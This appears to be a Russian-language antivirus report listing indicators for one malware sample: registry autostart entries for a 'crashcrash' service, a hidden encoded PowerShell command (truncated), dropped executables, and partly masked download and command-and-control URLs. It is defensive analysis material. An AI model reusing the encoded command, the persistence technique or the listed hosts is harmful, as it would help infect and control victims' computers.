Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\crashcrash] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\crashcrash] 'ImagePath' = '"%WINDIR%\SysWOW64\crashcrash.exe"'
- '<SYSTEM32>\wisptis.exe' /ManualLaunch;
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -enco JABBAGEAbwBlAHQAbAB3AGoAdwBxAHcAPQAnAEYAZwBzAG8AcQBzAGkAagB2AGQAJwA7ACQAUQB0AGgAdABmAGMAdgBkAGsAawAgAD0AIAAnADMAMwAzACcAOwAkAFIAYwBoAHcAYgBrAHgAZQA9ACcAUwBkAHgAZQBwAGEAbwBhAHgAeABoAHoAJwA...
- %HOMEPATH%\333.exe
- %HOMEPATH%\333.exe в %WINDIR%\syswow64\crashcrash.exe
- http://ne###onenow.com/wp-content/uploads/XYfNIae/
- http://www.xu#####ithatbacninh.com/mojn/bnzn/
- http://67.###.179.64:8080/nsip/results/ringin/merge/ via 67.##5.179.64
- DNS ASK ne###onenow.com
- DNS ASK xu#####ithatbacninh.com
- '%HOMEPATH%\333.exe'
- '%WINDIR%\syswow64\crashcrash.exe'
- '<SYSTEM32>\wisptis.exe' /ManualLaunch;' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -enco JABBAGEAbwBlAHQAbAB3AGoAdwBxAHcAPQAnAEYAZwBzAG8AcQBzAGkAagB2AGQAJwA7ACQAUQB0AGgAdABmAGMAdgBkAGsAawAgAD0AIAAnADMAMwAzACcAOwAkAFIAYwBoAHcAYgBrAHgAZQA9ACcAUwBkAHgAZQBwAGEAbwBhAHgAeABoAHoAJwA...' (со скрытым окном)